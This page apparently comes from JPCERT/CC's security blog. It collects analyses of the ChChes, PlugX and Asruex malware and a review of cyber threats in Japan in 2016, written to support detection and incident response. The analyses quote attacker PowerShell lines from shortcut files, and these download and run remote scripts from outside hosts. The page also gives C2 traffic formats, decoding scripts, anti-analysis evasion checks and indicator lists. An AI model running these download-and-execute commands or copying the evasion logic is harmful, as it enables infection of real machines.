23 posts categorized "#Trends in Japan" Feed

Mar 01, 2017

Malware Leveraging PowerSploit

Hi again, this is Shusei Tomonaga from the Analysis Center.

In this article, I’d like to share some of our findings about ChChes (which we introduced in a previous article) that it leverages PowerSploit [1] – an open source tool – for infection.

Flow of ChChes Infection

The samples that JPCERT/CC confirmed this time infect machines by leveraging shortcut files. The flow of events from a victim opening the shortcut file until a machine is infected is illustrated in Figure 1.

Figure 1: Flow of events from opening a shortcut file to ChChes infection
Fig1

When the shortcut file is opened, a file containing PowerShell script is downloaded from an external server and then executed. Next, ChChes code (version 1.6.4) contained in the PowerShell script is injected into powershell.exe and executed. The detailed behaviour in each phase is described below.

Behaviour after the shortcut file is opened

When the shortcut file is opened, the following PowerShell script contained in the file is executed.

powershell.exe -nop -w hidden -exec bypass  -enc JAAyAD0AJwAtAG4Abw ~omitted~

The PowerShell script after “-enc” is encoded. Below is the decoded script:

$2='-nop -w hidden -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString(''https://goo.gl/cpT1NW'')"';if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2";}else{iex "& powershell $2";}

By executing the above PowerShell script, a file containing PowerShell script is downloaded from a specified URL. The downloaded script is loaded in 32-bit powershell.exe (syswow64\WindowsPowerShell\v1.0\powershell) and executed. The reason why it is executed in 32-bit is considered to be that ChChes’s assembly code contained in the PowerShell script is not compatible with 64-bit environment.

 

Details of the Downloaded PowerShell Script

The downloaded PowerShell script is partially copied from PowerSploit (Invoke-Shellcode.ps1). PowerSploit is a tool to execute files and commands on a remote host and is used for penetration tests.

When the downloaded PowerShell script is executed, it creates document files based on data contained in the script, store the files in the %TEMP% folder and displays them.  We’ve seen different types of documents shown, including Excel and World documents.

 

Next, ChChes code contained in the PowerShell is injected into powershell.exe. The injected ChChes receives commands and modules from C2 servers as explained in the previous blog post. The PowerShell script and the injected ChChes are not saved as files in the infected machines, and ChChes itself only exists in the memory.

Figure 2 is a part of the PowerShell script.

Figure 2: Downloaded PowerShell script
Fig2

Confirming Attack Traces through Event Logs

In environments where PowerShell v5.0 is installed (including Windows 10), the PowerShell script downloaded from remote servers are recorded in the event logs under the default settings (as Figure 3). When you investigate, please check if your logs contain such records.

Figure 3: Contents recorded in Event Logs
Fig3

Such logs can also be obtained in PowerShell v4.0 (Default version of Windows 8.1) by enabling the following Group Policy.

  • Computer Configuration -> Administrative Templates -> Windows Components -> Windows PowerShell -> Turn on PowerShell Script Block Logging

Summary

It is now quite common that PowerShell script is leveraged for attacks. If your event log configuration is not set to record PowerShell execution, it is recommended that you revise the settings in preparation for such attacks. Also, if you are not using PowerShell, it is suggested to restrict the execution by using AppLocker, etc.

-Shusei Tomonaga

(Translated by Yukako Uchida)


References:

[1] PowerSploit

https://github.com/PowerShellMafia/PowerSploit

Appendix A: SHA-256 Hash Values of the samples

PowerShell

  • 4ff6a97d06e2e843755be8697f3324be36e1ebeb280bb45724962ce4b6710297
  • 75ef6ea0265d2629c920a6a1c0d1dd91d3c0eda86445c7d67ebb9b30e35a2a9f
  • ae0dd5df608f581bbc075a88c48eedeb7ac566ff750e0a1baa7718379941db86
  • 646f837a9a5efbbdde474411bb48977bff37abfefaa4d04f9fb2a05a23c6d543
  • 3d5e3648653d74e2274bb531d1724a03c2c9941fdf14b8881143f0e34fe50f03
  • 9fbd69da93fbe0e8f57df3161db0b932d01b6593da86222fabef2be31899156d
  • 723983883fc336cb575875e4e3ff0f19bcf05a2250a44fb7c2395e564ad35d48
  • f45b183ef9404166173185b75f2f49f26b2e44b8b81c7caf6b1fc430f373b50b
  • 471b7edbd3b344d3e9f18fe61535de6077ea9fd8aa694221529a2ff86b06e856
  • aef976b95a8d0f0fdcfe1db73d5e0ace2c748627c1da645be711d15797c5df38
  • dbefa21d3391683d7cc29487e9cd065be188da228180ab501c34f0e3ec2d7dfc

Feb 21, 2017

PlugX + Poison Ivy = PlugIvy? - PlugX Integrating Poison Ivy’s Code -

Hi again, this is Shusei Tomonaga from the Analysis Center.

PlugX is a type of malware used for targeted attacks. We have introduced its new features in the blog article “Analysis of a Recent PlugX Variant - ‘P2P PlugX”. This article will discuss the following two structural changes observed in PlugX since April 2016:

  • the way API is called
  • the format of main module changed from PE to raw binary code

In this article, we will refer to PlugX observed after April 2016 as “New PlugX”, and older versions as “Old PlugX”.

Change in API call

When calling Windows API, Old PlugX used the API names as the key to load the corresponding library functions based on their addresses, which is a similar behaviour of calling APIs from the usual PE files. Therefore, Old PlugX code contains strings of the Windows API names.

In contrast, New PlugX does not contain any API name strings in its code, but instead possesses hash values of those API names. When calling an API, it obtains a list of APIs by using Windows functions and performs hash calculation one by one. The API name whose hash value matches the specified value is set as a key to call an API. This method is used when code without IAT (Import Address Table), meaning code other than PE format, call Windows APIs and is applied within shellcodes. This method is also used by some types of malware in order to conceal API names.

Code in Figure 1 shows how New PlugX is calling the Windows API ‘GetSystemInfo’. “86AA8709h” is the hash value for ‘GetSystemInfo’. Address resolution is performed using the hash value, and it jumps to GetSystemInfo’s address by “jmp eax”.

Figure 1: The function calling for GetSystemInfo
Fig1_plugx_call

In principle, as long as a collision doesn’t occur, any hash algorithm can be used for hashing Windows API names. However, New PlugX uses the same hash algorithm as Poison Ivy. Figure 2 compares the hash function of New PlugX and Poison Ivy.

Figure 2: Windows API hash function for New PlugX (left) and Poison Ivy (right) (Parts that match are in light blue)
Fig2_plugx_diff

Change from PE format to raw code format

While Old PlugX stored the malware in PE format (DLL), New PlugX stores only its code and does not contain a header. A single PlugX sample (‘PlugX Data’ in Fig.3) contained both the encoded version of PlugX and code to decode it (‘Decoding code’ in Figure 3). When the sample is executed, the main module of PlugX (‘PlugX main module’ in Figure 3) is decoded, and it injects itself into another process to be executed in that process. The execution flow in Old PlugX is described in Figure 3.

Figure 3: Execution flow in Old PlugX
Fig3_plugx_old

Figure 4 describes the execution flow in New PlugX. Like Old PlugX,  the main module, which is encoded, injects itself to a process and then it is executed in the process. The big difference is that the main module has been changed from PE format (DLL) in Old PlugX to raw code format in New PlugX.

Figure 4: Execution flow in New PlugX
Fig4_plugx_new

Figure 5 shows the beginning of the decoded main module of PlugX. While Old PlugX had a header that is equivalent to one in a PE format, New PlugX begins with executable code and there is no PE header.

Figure 5: Old PlugX (above) and New PlugX (below) after decoding
Fig5_plugx_form

Summary

Upon upgrading Old PlugX to New PlugX, the developer presumably referred to Poison Ivy which is also used for targeted attacks. As previously explained, New PlugX uses the same hash value for API call as Poison Ivy, but on top of that, the raw code format that New PlugX applies is also one of the features of Poison Ivy. The purpose of the upgrade is thought to complicate malware analysis so that malware can be used for a longer period of time.

We should keep an eye on PlugX because it has been evolving and still constantly used to conduct targeted attacks. At this stage, both New and Old PlugX are still being actively used.

We would like to recommend that you revisit our article since the demonstrated features there (configuration information, communication method, encode format etc.) remain the same in New PlugX.

Thanks for reading.

- Shusei Tomonaga

(Translated by Yukako Uchida)

Feb 15, 2017

ChChes – Malware that Communicates with C&C Servers Using Cookie Headers

Since around October 2016, JPCERT/CC has been confirming emails that are sent to Japanese organisations with a ZIP file attachment containing executable files. The targeted emails, which impersonate existing persons, are sent from free email address services available in Japan. Also, the executable files’ icons are disguised as Word documents. When the recipient executes the file, the machine is infected with malware called ChChes.

This blog article will introduce characteristics of ChChes, including its communication.

ZIP files attached to Targeted Emails

While some ZIP files attached to the targeted emails in this campaign contain executable files only, in some cases they also contain dummy Word documents. Below is the example of the latter case.

Figure 1: Example of an attached ZIP file
Fig1example_of_an_attached_zip_file

In the above example, two files with similar names are listed: a dummy Word document and an executable file whose icon is disguised as a Word document. By running this executable file, the machine will be infected with ChChes. JPCERT/CC has confirmed the executable files that have signatures of a specific code signing certificate. The dummy Word document is harmless, and its contents are existing online articles related to the file name “Why Donald Trump won”. The details of the code signing certificate is described in Appendix A.

Communication of ChChes

ChChes is a type of malware that communicates with specific sites using HTTP to receive commands and modules. There are only few functions that ChChes can execute by itself. This means it expands its functions by receiving modules from C&C servers and loading them on the memory.

The following is an example of HTTP GET request that ChChes sends. Sometimes, HEAD method is used instead of GET.

GET /X4iBJjp/MtD1xyoJMQ.htm HTTP/1.1
Cookie: uHa5=kXFGd3JqQHMfnMbi9mFZAJHCGja0ZLs%3D;KQ=yt%2Fe(omitted)
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: [user agent]
Host: [host name]
Connection: Keep-Alive
Cache-Control: no-cache

As you can see, the path for HTTP request takes /[random string].htm, however, the value for the Cookie field is not random but encrypted strings corresponding to actual data used in the communication with C&C servers. The value can be decrypted using the below Python script.

data_list = cookie_data.split(';')
dec = []
for i in range(len(data_list)):
    tmp = data_list[i]
    pos = tmp.find("=")
    key = tmp[0:pos]
    val = tmp[pos:]
    md5 = hashlib.md5()
    md5.update(key)
    rc4key = md5.hexdigest()[8:24]
    rc4 = ARC4.new(rc4key)
    dec.append(rc4.decrypt(val.decode("base64"))[len(key):])
print("[*] decoded: " + "".join(dec))

The following is the flow of communication after the machine is infected.

Figure 2: Flow of communication
Fig2flow_of_communication

The First Request

The value in the Cookie field of the HTTP request that ChChes first sends (Request 1) contains encrypted data starting with ‘A’. The following is an example of data sent.

Figure 3: Example of the first data sent
Fig3example_of_the_first_data_sent

As indicated in Figure 3, the data which is sent contains information including computer name. The format of the encrypted data differs depending on ChChes’s version. The details are specified in Appendix B.

As a response to Request 1, ChChes receives strings of an ID identifying the infected machine from C&C servers (Response 1). The ID is contained in the Set-Cookie field as shown below.

Figure 4: Example response to the first request
Fig4example_response_to_the_first_r

Request for Modules and Commands

Next, ChChes sends an HTTP request to receive modules and commands (Request 2). At this point, the following data starting with ‘B’ is encrypted and contained in the Cookie field.

B[ID to identify the infected machine]

As a response to Request 2, encrypted modules and commands (Response 2) are sent from C&C servers. The following shows an example of received modules and commands after decryption.

Figure 5: Decrypted data of modules and commands received
Fig5a_received_module_and_command_a

Commands are sent either together with modules as a single data (as above), or by itself. Afterwards, execution results of the received command are sent to C&C servers, and it returns to the process to receive modules and commands. This way, by repeatedly receiving commands from C&C servers, the infected machines will be controlled remotely.

JPCERT/CC’s research has confirmed modules with the following functions, which are thought to be the bot function of ChChes.

  • Encrypt communication using AES
  • Execute shell commands
  • Upload files
  • Download files
  • Load and run DLLs
  • View tasks of bot commands

Especially, it was confirmed that the module that encrypts the communication with AES is received in a relatively early stage after the infection. With this feature, communication with C&C servers after this point will be encrypted in AES on top of the existing encryption method.

Summary

ChChes is a relatively new kind of malware which has been seen since around October 2016. As this may be continually used for targeted attacks, JPCERT/CC will keep an eye on ChChes and attack activities using the malware.

The hash values of the samples demonstrated here are described in Appendix C. The malware’s destination hosts that JPCERT/CC has confirmed are listed in Appendix D. We recommend that you check if your machines are communicating with such hosts.

Thanks for reading.

- Yu Nakamura

(Translated by Yukako Uchida)


Appendix A: Code signing certificate

The code signing certificate attached to some samples are the following:

$ openssl x509 -inform der -text -in mal.cer 
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            3f:fc:eb:a8:3f:e0:0f:ef:97:f6:3c:d9:2e:77:eb:b9
    Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA
        Validity
            Not Before: Aug  5 00:00:00 2011 GMT
            Not After : Aug  4 23:59:59 2012 GMT
        Subject: C=IT, ST=Italy, L=Milan, O=HT Srl, OU=Digital ID Class 3 - Microsoft Software Validation v2, CN=HT Srl
        Subject Public Key Info:
(Omitted)
Figure 6: Code signing certificate
Fig6code_signing_certificate
Appendix B: ChChes version

The graph below shows the relation between the version numbers of the ChChes samples that JPCERT/CC has confirmed and the compile times obtained from their PE headers.

Figure 7: Compile time for each ChChes version
Fig7compile_time_for_each_chches_ve

The lists below describe encrypted data contained in the first HTTP request and explanation of the values for each ChChes version.

Table 1: Sending format of each version
VersionFormat
1.0.0 A<a>*<b>?3618468394?<c>?<d>*<f>
1.2.2 A<a>*<b>?3618468394?<c>?<d>*<f>
1.3.0 A<a>*<b>?3618468394?<c>?<d>*<f>
1.3.2 A<a>*<b>?3618468394?<c>?<d>*<g>
1.4.0 A<a>*<b>?3618468394?<c>?<d>*<g>
1.4.1 A<a>*<b>?3618468394?<c>?<d> (<e>)*<g>
1.6.4 A<a>*<b>*<h>?3618468394?<c>?<d> (<e>)*<g>

Table 2: Description of <a> to <h>
LetterDataSizeDetails
<a> Computer name Variable Capital alphanumeric characters
<b> Process ID Variable Capital alphanumeric characters
<c> Path of a temp folder Variable %TEMP% value
<d> Malware version Variable e.g. 1.4.1
<e> Screen resolution Variable e.g. 1024x768
<f> explorer.exe version Variable e.g. 6.1.7601.17567
<g> kernel32.dll version Variable e.g. 6.1.7601.17514
<h> Part of MD5 value of SID 16 bytes e.g. 0345cb0454ab14d7
Appendix C: SHA-256 Hash value of the samples

ChChes

  • 5961861d2b9f50d05055814e6bfd1c6291b30719f8a4d02d4cf80c2e87753fa1
  • ae6b45a92384f6e43672e617c53a44225e2944d66c1ffb074694526386074145
  • 2c71eb5c781daa43047fa6e3d85d51a061aa1dfa41feb338e0d4139a6dfd6910
  • 19aa5019f3c00211182b2a80dd9675721dac7cfb31d174436d3b8ec9f97d898b
  • 316e89d866d5c710530c2103f183d86c31e9a90d55e2ebc2dda94f112f3bdb6d
  • efa0b414a831cbf724d1c67808b7483dec22a981ae670947793d114048f88057
  • e90064884190b14a6621c18d1f9719a37b9e5f98506e28ff0636438e3282098b
  • 9a6692690c03ec33c758cb5648be1ed886ff039e6b72f1c43b23fbd9c342ce8c
  • bc2f07066c624663b0a6f71cb965009d4d9b480213de51809cdc454ca55f1a91
  • e6ecb146f469d243945ad8a5451ba1129c5b190f7d50c64580dbad4b8246f88e
  • e88f5bf4be37e0dc90ba1a06a2d47faaeea9047fec07c17c2a76f9f7ab98acf0
  • d26dae0d8e5c23ec35e8b9cf126cded45b8096fc07560ad1c06585357921eeed
  • 2965c1b6ab9d1601752cb4aa26d64a444b0a535b1a190a70d5ce935be3f91699
  • 312dc69dd6ea16842d6e58cd7fd98ba4d28eefeb4fd4c4d198fac4eee76f93c3
  • 4ff6a97d06e2e843755be8697f3324be36e1ebeb280bb45724962ce4b6710297
  • 45d804f35266b26bf63e3d616715fc593931e33aa07feba5ad6875609692efa2
  • cb0c8681a407a76f8c0fd2512197aafad8120aa62e5c871c29d1fd2a102bc628
  • 75ef6ea0265d2629c920a6a1c0d1dd91d3c0eda86445c7d67ebb9b30e35a2a9f
  • 471b7edbd3b344d3e9f18fe61535de6077ea9fd8aa694221529a2ff86b06e856
  • ae0dd5df608f581bbc075a88c48eedeb7ac566ff750e0a1baa7718379941db86
  • 646f837a9a5efbbdde474411bb48977bff37abfefaa4d04f9fb2a05a23c6d543
  • 3d5e3648653d74e2274bb531d1724a03c2c9941fdf14b8881143f0e34fe50f03
  • 9fbd69da93fbe0e8f57df3161db0b932d01b6593da86222fabef2be31899156d
  • 723983883fc336cb575875e4e3ff0f19bcf05a2250a44fb7c2395e564ad35d48
  • f45b183ef9404166173185b75f2f49f26b2e44b8b81c7caf6b1fc430f373b50b
Appendix D: List of communication destination
  • area.wthelpdesk.com
  • dick.ccfchrist.com
  • kawasaki.cloud-maste.com
  • kawasaki.unhamj.com
  • sakai.unhamj.com
  • scorpion.poulsenv.com
  • trout.belowto.com
  • zebra.wthelpdesk.com
  • hamiltion.catholicmmb.com
  • gavin.ccfchrist.com

Jan 25, 2017

2016 in Review: Top Cyber Security Trends in Japan

Hi, this is Misaki Kimura from Watch and Warning Group.

Another new year has come and gone, and as I look back over about the significant security trends that took place in 2016, it is needless to mention that security threat landscape is ever evolving and increasingly complex. As a basis for what we can prepare for 2017, I’d like to review security headlines in 2016 by referring to the activities carried out in Japan, to look into the expectations to come.

Increase in DDoS built by botnets such as Mirai

Large-scale botnets leveraging Internet of Things (IoT) devices to launch massive DDoS attacks, became a prominent topic worldwide. The Mirai botnet, which was responsible for the series of attacks in recent months, including the DDoS attacks against American journalist’s website “Krebs on Security”, and DNS provider “Dyn”, had brought a huge impact. The word “Mirai” is a Japanese word for “future”, and just as it is interpreted, since the release of Mirai source code last September, it has called a lot of concerns of what poorly secured IoT devices may bring in the future.

In response to this, a technical alert (in Japanese) was released on Japan Vulnerability Notes (JVN) to promote IoT device owners/users in Japan to secure their devices, and organizations were encouraged to place countermeasures towards DDoS attacks. In addition, JPCERT/CC has announced a security alert for awareness raising, and the Information-technology Promotion Agency, Japan (IPA) has also announced an alert (in Japanese) respectively.

Security guidelines concerning IoT were also published from multiple organizations during last year. “IoT Security Guide for Consumers (ver1.0)” (in Japanese) that is intended for readers such as IoT device developers and consumers to take precautions towards IoT devices was published from the Japan Network Security Association (JNSA). Furthermore, “IoT Security Guideline ver1.0” (in Japanese) was announced from the IoT Acceleration Consortium’s IoT Security Working Group, organized by the Ministry of Economy, Trade and Industry (METI) and the Ministry of Internal Affairs and Communications (MIC).

Advanced Persistent Threat (APT) becomes increasingly sophisticated

Since the Japan Pension Service hack in 2015 that led to 1.25 million cases of personal data leak, the Japanese public has been paying attention to targeted attacks than ever before. These types of attacks continued to evolve constantly by developing new tactics, techniques and procedures. Particularly in 2016, we have been observing attacks concerning to malware known as Daserf [1], Asurex [2], Sysget (aka HelloBridge, ZACOM) [3] and Elirks (aka KLURP) [4]. Though the attribution for each malware may differ, a common attack vector is observed - malware infections are attempted by convincing the user to open attachments of spear phishing emails or watering hole attacks.

Amongst all, what specifically grabbed our attention was Daserf. Not only different C2 servers were used for each targeted organization, but the C2 server for each infected device within the organization was also individual. Due to this multiplicity, blacklisting the URLs and IP addresses of C2 servers were no more an effective measure, allowing the threat actors to remain undetected for a long duration of time.

On the other hand, Elirks was also unique in terms of retrieving its C2 server’s IP address – it obtains the IP address by accessing to pre-determined microblog service or SNS. This behavior is deemed to avoid the detection of security products and to flexibly switch the C2 server specified in the content of articles posted on those legitimate services by rewriting the code in it.

In accordance to this situation, at JPCERT/CC, we released a document on “Initial Procedures and Response Guideline for Countering Advanced Persistent Threat” (in Japanese) and also “Report on the Research into Evidence of Attack Tool Execution for Incident Investigation” (released in Japanese, English version will be coming out by the end of first half of 2017 (Title is tentative)). The former aims to enhance effective incident response procedures to deal with APT by providing knowledge on how to detect, analyze and contain the attacks, while the latter aims to promote efficient investigation upon an incident by providing information on actual attack tools used by threat actors and evidence left in log files when executing those tools.

Attack cases on financial theft continues to take place

According to the report (in Japanese) released by the National Police Agency (NPA), financial loss caused by illegal money transfer using Internet banking services that occurred in the first half of 2016 has been greatly reduced both in number of victims and the amount of financial loss of credit unions and corporate accounts. To be more specific, the damage amount in the first half of 2016 was 898 million Japanese yen, which decreased from the second half of 2015 (1.53 billion Japanese yen). However, in terms of personal accounts, the number of victims and amount of financial loss were witnessed at the same level as 2015 on average.

In 2016, Online Banking Trojans that steal IDs and passwords were attached to Japanese written spam emails and sent to Japanese users. Notorious Banking Trojans that were causing damages overseas such as Ursnif (aka: Gozi, Snifula) [5], Shiotob (aka: URLZONE, Bebloh) [6] and KRBANKER [7] (in Japanese), were also beginning to target online users in Japan.

In addition, ransomware continued to keep prevalent this year as well. Based on the report (in Japanese) from TrendMicro, Japanese organizations infected with ransomware in the first half of the year reached to 1,740, which was 7 times higher compared with the same time of 2015. Regarding the amount of financial loss itself, it has become the most significant security threat amongst all to Internet users.

Lastly, one more to note - 2016 was the year for JPCERT/CC to celebrate its 20th anniversary. As long as JPCERT/CC represents as the coordination center for cyber security incidents in Japan, we will continue to endeavor to create cyber space a safer place for all through cooperation and coordination with various partners around the globe. We would like to convey our gratitude for your support and cooperation, and would like to continuously devote the utmost effort in our activities.

Thank you for reading.

- Misaki Kimura


References:

[1] http://www.lac.co.jp/security/report/pdf/cgview_vol2_en.pdf

[2] http://blog.jpcert.or.jp/2016/06/asruex-malware-infecting-through-shortcut-files.html

[3] https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf

[4] http://researchcenter.paloaltonetworks.com/2016/06/unit42-tracking-elirks-variants-in-japan-similarities-to-previous-attacks/

[5] http://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/

[6] http://blog.trendmicro.com/trendlabs-security-intelligence/bebloh-expands-japan-latest-spam-attack/

[7] http://blog.trendmicro.co.jp/archives/13683

Jun 30, 2016

Asruex: Malware Infecting through Shortcut Files

JPCERT/CC has been observing malicious shortcut files that are sent as email attachments to a limited range of organisations since around October 2015. When this shortcut file is opened, the host will be infected with malware called “Asruex”. The malware has a remote controlling function, and attackers sending these emails seem to attempt intruding into the targets’ network using the malware. According to a blog article by Microsoft, the malware is associated with an attacker group identified as “DarkHotel” (Microsoft calls it as "Dubnium") [1]. This blog entry will introduce the details of Asruex.

Infection Mechanism of Asruex

Figure 1 describes the chain of events after a victim opens the malicious shortcut file until the host gets infected with Asruex.

Figure 1: Chain of events after a victim opens the malicious shortcut file until the host gets infected with Asruex
Asruex

For those cases that JPCERT/CC has observed, when the shortcut file is opened, a downloader is downloaded from a C&C server and then executed. The downloader then downloads Asruex from another C&C server, which is then executed. Detailed behaviour observed in each phase will be explained in the next section.

Details of the Shortcut File

When the malicious shortcut file is opened, the following PowerShell command in the file is executed.

powershell -windowstyle hidden $c='(new-object System.Net.WebClient).D'+'ownloadFile("""http://online-dropbox.com/online/a                                    """, """$env:tmp\gst.bat""")';Invoke-Expression $c&%tmp%\gst.bat "%CD%"

The above PowerShell command downloads a file from the specified URL, and it is saved as a batch file to be executed. The batch file contains the following commands, which execute PowerShell scripts (marked in red).

echo 
powershell -Enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUw…
chcp 65001 
cd "%tmp%" 
start winword "article_draft.docx" 
copy "article_draft.docx" "%1" 
del /f "%1\*.*.lnk" 
echo 
powershell -Enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMA…
"%tmp%\dwm.exe"

When the batch file is executed, a Windows executable file (a downloader) and a dummy file for display will be downloaded from a C&C server, saved in %TEMP% folder and then executed. Those decoy documents are written in Japanese, but some are also in Chinese, which implies that the target for this attack is not limited to Japanese organisations.

Details of the Downloader

When the downloader is executed, it downloads a .jpg or .gif image file. Encoded Asruex is contained in the latter part of the image file. The downloader decodes it and then executes the malware.

Figure 2: An Image File Containing Encoded Asruex
Jpgimage

Asruex contained in the image file is encoded using XOR. The following Python script is used for decoding the encoded data of the image file. The size of the encoded data is specified in the last 4 bytes of the image file.

key = 0x1D  # Keys may vary depending on the sample
for i in range(0, length):
    buf[i] = chr(ord(buf[i]) ^ key)
    key += 0x5D
    key &=0xff

The downloader may contain an encoded executable file of Process Hacker (a multi-function task manager), and it may execute the Process Hacker if an anti-virus software is detected. Anti-virus software such as by Symantec, McAfee and Kaspersky, etc., are detected based on the process names.

Details of Asruex

Asruex is a kind of malware that communicates with the C&C server over HTTP, and executes the command received through the communication. It has various anti-analysis features such as preventing the malware from running when it detects a virtual machine. Please refer to Appendix A for conditions which Asruex detects a virtual machine. The malware is also capable of detecting anti-virus software.

If Asruex does not detect a virtual machine, it executes one of the following executable files, and injects a DLL file which is contained in Asruex. In case where it detects anti-virus software, Asruex generates a DLL file and loads it to itself (but does not perform DLL injection). This DLL file contains the core functions of Asruex.

  •  sdiagnhost.exe
  •  wksprt.exe
  •  taskhost.exe
  •  dwm.exe
  •  winrshost.exe
  •  wsmprovhost.exe
  •  ctfmon.exe
  •  explorer.exe

The DLL injected, or generated and loaded, sends an HTTP request to a dummy host. If it receives a reply of status code that is 100 or greater, it connects to an actual C&C server as follows:

GET /table/list.php?a1=6fcadf059e54a19c7b96b0758a2d20a4396b85e77138dbaff3fddd04909de91
62a8910eab1141343492e90a78e75bfa7cafa3ed0a51740daa4cad36291e637074255217 –omitted- HTTP/1.1
Connection: Keep-Alive
Content-Type: text/plain; charset=utf-8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
Host: [host name]

Asruex operates based on the configuration information stored in itself. The configuration Information includes C&C servers and dummy hosts that it connects to, and also version information and a key to decode data which is delivered. For further details on the configuration information, please refer to Appendix B.

The configuration information is encoded. It can be decoded with the following Python code:

(config_size,) = struct.unpack("=I", data[offset:offset+4])
config_offset = offset + 4
encode_config = data[config_offset:config_offset+config_size]
i = 0
seed = config_size * 2  // It does not necessarily double
while i < config_size:
    (result, seed) = rand_with_seed(seed)
    result &= 0xff
    decode_data.append(chr(ord(encode_config[i]) ^ result))
    i += 1
decode_config =  "".join(decode_data)
(decode_size,) = struct.unpack("=I", decode_config[config_size-4:config_size])
config = lznt1_decompress(decode_config, config_size, decode_size)

Asruex executes commands that are received from a C&C server. Commands that are possibly executed are listed in Table 1. Most of the commands are used for collecting information, but some are for downloading DLL files (AdvProv.dll) from C&C servers and for executing them. AdvProv.dll is a plug-in to expand functions of Asruex.

Table 1: Commands used by Asruex
CommandFunction
1 Collect information of infected hosts
2 Obtain process list
3 Obtain file list
4 Change waiting time
5 Obtain version information
6 Uninstall
501 Obtain folder list
502 Load DLL
- Execute external DLL (AdvProv.dll)

Details of AdvProv.dll

AdvProv.dll is encrypted using XOR and 3DES. Decryption key is calculated based on the destination URL and the encoding key of the configuration information. Asruex downloads a DLL, loads it into the memory and executes DLL’s export function, Get_CommandProc. AdvProv.dll adds the following commands to Asruex:

Table 2: Asruex Commands added by AdvProv.dll
CommandFunction
101 Download
102 Copy a file
103 Change a file name
104 Change file time
105 Delete a file
106 Terminate a process
107 Search a registry
108 Show a registry entry
109 Create a registry entry
110 Show a registry entry
111 Delete a registry entry
112 Update
601 Download and execute a file

Samples of AdvProv.dll that JPCERT/CC has observed had the listed functions. However, there may be some other versions with different functions.

Summary

Asruex is a relatively new kind of malware that has been seen since around October 2015. It is likely that targeted attacks using Asruex will continue.

Hash values of artifacts demonstrated in this article are described in Appendix C. Also, destination URLs confirmed by JPCERT/CC are listed in Appendix D. It is recommended to make sure that the hosts you use are not accessing these URLs.

Thanks for reading.

- Shusei Tomonaga

(Translated by Yukako Uchida)


Reference

[1] Microsoft - Reverse-engineering DUBNIUM
https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/

Appendix A: Conditions where Asurex detects an analysis environment

If Asruex detects itself being operated in an environment under any of the following conditions (Table A-1 to A-6), it recognises that it is an analysis environment and stops running.

Table A-1: The user matches the computer name and user name as listed.

Table A-2: Listing up the loaded modules, and if the listed functions are found to be exported.

Table A-3: The listed file names are found.

Table A-4: The listed process names are running.

Table A-5: Listing up the process modules that are running, and the module version matches the combination listed.

Table A-6: The disk name contains the listed strings.

Table A-1: Detectable Combination of Computer Name and User Name
Computer NameUser Name
BRBRB-D8FB22AF1 antonie
ANTONY-PC Antony
TEQUILABOOMBOOM janettedoe
HBXPENG makrorechner
IOAVM Administrator
XANNY Administrator
NONE-DUSEZ58JO1 Administrator
rtrtrele Administrator
HOME-OFF-D5F0AC Dave
DELL-D3E64F7E26 Administrator
JONATHAN-C561E0 Administrator
HANS HanueleBaser
IePorto Administrator

Table A-2: Detectable Functions
Functions
_SbieDll_Hook@12
_SbieApi_QueeryProcessPath@28
hook_api
New2_CreateProcessInternalW@48

Table A-3: Detectable File Names
File Names
\\.\pipe\cuckoo
[System Drive]:\cuckoo

Table A-4: Detectable Process Names
Process Names
Filemon.exe
Regmon.exe
Procmon.exe
Tcpview.exe
wireshark.exe
dumpcap.exe
regshot.exe
cports.exe
smsniff.exe
SocketSniff.exe

Table A-5: Detectable Combinations of File Version Information
FileDescriptionCompanyName
Sysinternals
SysinternalsRegistryMonitor Sysinternals
ProcessMonitor Sysinternals
TCP/UDPendpointviewer Sysinternals
Wireshark TheWiresharkdevelopercommunity
Dumpcap TheWiresharkdevelopercommunity
Regshot RegshotTeam
CurrPorts NirSoft
SmartSniff NirSoft
SocketSniff NirSoft

Table A-6: Detectable Disk Names
Disk Name
vmware
Virtual HD
MS VirtualSCSI Disk Device
Appendix B: Configuration Information
Table B-1: List of Configuration Information
OffsetLengthDescription
0x000 16 ID
0x010 4 Version Information
0x014 256 Install Path
0x114 64 * 3 Dummy URLs to connect to × 3
0x1D4 256 * 3 HTTP Access URLs × 3
0x4D4 256 Sending data store path 1
0x5D4 64 Sending data strings 1
0x614 256 Sending data store path 2
0x714 64 Sending data strings 2
0x754 64 Encode key
0x794 4 Suspension time
0x798 256 * 3 File name × 3
0xA98 4 Machine information (pointer)
0xA9C 4 Connect destination (pointer)
0xAA0 4 Not in use

Encode keys

  •  blackolive
  •  darktea
  •  12qw@#WE
Appendix C: SHA-256 Hash Value of Artifacts

Shortcut files:

  • c60a93a712d0716a04dc656a0d1ba06be5047794deaa9769a2de5d0fcf843c2a
  • ae421dd24306cbf498d4f82b650b9162689e6ef691d53006e8f733561d3442e2
  • 980cc01ec7b2bd7c1f10931822c7cfe2a04129588caece460e05dcc0bb1b6c34
  • b175567800d62dcb00212860d23742290688cce37864930850522be586efa882
  • c2e99eedf555959721ef199bf5b0ac7c68ea8205d0dff6c208adf8813411a456
  • ac63703ea1b36358d2bec54bddfef28f50c635d1c7288c2b08cceb3608c1aa27
  • 5cfc67945dd39885991131f49f6717839a3541f9ba141a7a4b463857818d01e6
  • e76c37b86602c6cc929dffe5df7b1056bff9228dde7246bf4ac98e364c99b688
  • 606e98df9a206537d35387858cff62eb763af20853ac3fa61aee8f3c280aaafe

Downloaders:

  • fdf3b42ac9fdbcabc152b200ebaae0a8275123111f25d4a68759f8b899e5bdd6
